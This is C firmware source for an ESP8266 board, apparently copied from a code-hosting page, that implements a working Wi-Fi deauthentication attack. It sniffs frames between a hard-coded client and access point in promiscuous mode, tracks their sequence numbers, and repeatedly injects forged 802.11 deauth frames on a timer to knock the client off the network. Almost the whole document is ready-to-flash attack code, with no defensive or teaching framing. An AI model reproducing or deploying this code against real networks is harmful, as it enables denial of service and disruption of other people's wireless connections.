uint8_t client[6] = {0x06,0x07,0x08,0x09,0x0A,0x0B};
|
||||
|
||||
// Sequence number of a packet from AP to client
|
||||
uint16_t seq_n = 0;
|
||||
|
||||
// Packet buffer
|
||||
uint8_t packet_buffer[64];
|
||||
|
||||
/* ==============================================
|
||||
* Promiscous callback structures, see ESP manual
|
||||
* ============================================== */
|
||||
|
||||
struct RxControl {
|
||||
signed rssi:8;
|
||||
unsigned rate:4;
|
||||
unsigned is_group:1;
|
||||
unsigned:1;
|
||||
unsigned sig_mode:2;
|
||||
unsigned legacy_length:12;
|
||||
unsigned damatch0:1;
|
||||
unsigned damatch1:1;
|
||||
unsigned bssidmatch0:1;
|
||||
unsigned bssidmatch1:1;
|
||||
unsigned MCS:7;
|
||||
unsigned CWB:1;
|
||||
unsigned HT_length:16;
|
||||
unsigned Smoothing:1;
|
||||
unsigned Not_Sounding:1;
|
||||
unsigned:1;
|
||||
unsigned Aggregation:1;
|
||||
unsigned STBC:2;
|
||||
unsigned FEC_CODING:1;
|
||||
unsigned SGI:1;
|
||||
unsigned rxend_state:8;
|
||||
unsigned ampdu_cnt:8;
|
||||
unsigned channel:4;
|
||||
unsigned:12;
|
||||
};
|
||||
|
||||
struct LenSeq {
|
||||
uint16_t length;
|
||||
uint16_t seq;
|
||||
uint8_t address3[6];
|
||||
};
|
||||
|
||||
struct sniffer_buf {
|
||||
struct RxControl rx_ctrl;
|
||||
uint8_t buf[36];
|
||||
uint16_t cnt;
|
||||
struct LenSeq lenseq[1];
|
||||
};
|
||||
|
||||
struct sniffer_buf2{
|
||||
struct RxControl rx_ctrl;
|
||||
uint8_t buf[112];
|
||||
uint16_t cnt;
|
||||
uint16_t len;
|
||||
};
|
||||
|
||||
/* Creates a deauth packet.
|
||||
*
|
||||
* buf - reference to the data array to write packet to;
|
||||
* client - MAC address of the client;
|
||||
* ap - MAC address of the acces point;
|
||||
* seq - sequence number of 802.11 packet;
|
||||
*
|
||||
* Returns: size of the packet
|
||||
*/
|
||||
uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
|
||||
{
|
||||
int i=0;
|
||||
|
||||
// Type: deauth
|
||||
buf[0] = 0xC0;
|
||||
buf[1] = 0x00;
|
||||
// Duration 0 msec, will be re-written by ESP
|
||||
buf[2] = 0x00;
|
||||
buf[3] = 0x00;
|
||||
// Destination
|
||||
for (i=0; i<6; i++) buf[i+4] = client[i];
|
||||
// Sender
|
||||
for (i=0; i<6; i++) buf[i+10] = ap[i];
|
||||
for (i=0; i<6; i++) buf[i+16] = ap[i];
|
||||
// Seq_n
|
||||
buf[22] = seq % 0xFF;
|
||||
buf[23] = seq / 0xFF;
|
||||
// Deauth reason
|
||||
buf[24] = 1;
|
||||
buf[25] = 0;
|
||||
return 26;
|
||||
}
|
||||
|
||||
/* Sends deauth packets. */
|
||||
void deauth(void *arg)
|
||||
{
|
||||
os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
|
||||
// Sequence number is increased by 16, see 802.11
|
||||
uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
|
||||
wifi_send_pkt_freedom(packet_buffer, size, 0);
|
||||
}
|
||||
|
||||
/* Listens communication between AP and client */
|
||||
static void ICACHE_FLASH_ATTR
|
||||
promisc_cb(uint8_t *buf, uint16_t len)
|
||||
{
|
||||
if (len == 12){
|
||||
struct RxControl *sniffer = (struct RxControl*) buf;
|
||||
} else if (len == 128) {
|
||||
struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
|
||||
} else {
|
||||
struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
|
||||
int i=0;
|
||||
// Check MACs
|
||||
for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
|
||||
for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
|
||||
// Update sequence number
|
||||
seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
|
||||
}
|
||||
}
|
||||
|
||||
void ICACHE_FLASH_ATTR
|
||||
sniffer_system_init_done(void)
|
||||
{
|
||||
// Set up promiscuous callback
|
||||
wifi_set_channel(1);
|
||||
wifi_promiscuous_enable(0);
|
||||
wifi_set_promiscuous_rx_cb(promisc_cb);
|
||||
wifi_promiscuous_enable(1);
|
||||
}
|
||||
|
||||
void ICACHE_FLASH_ATTR
|
||||
user_init()
|
||||
{
|
||||
uart_init(115200, 115200);
|
||||
os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
|
||||
|
||||
// Promiscuous works only with station mode
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
|
||||
// Set timer for deauth
|
||||
os_timer_disarm(&deauth_timer);
|
||||
os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
|
||||
os_timer_arm(&deauth_timer, CHANNEL_HOP_INTERVAL, 1);
|
||||
|
||||
// Continue to 'sniffer_system_init_done'
|
||||
system_init_done_cb(sniffer_system_init_done);
|
||||
}
|
||||
Reference in New Issue
Block a user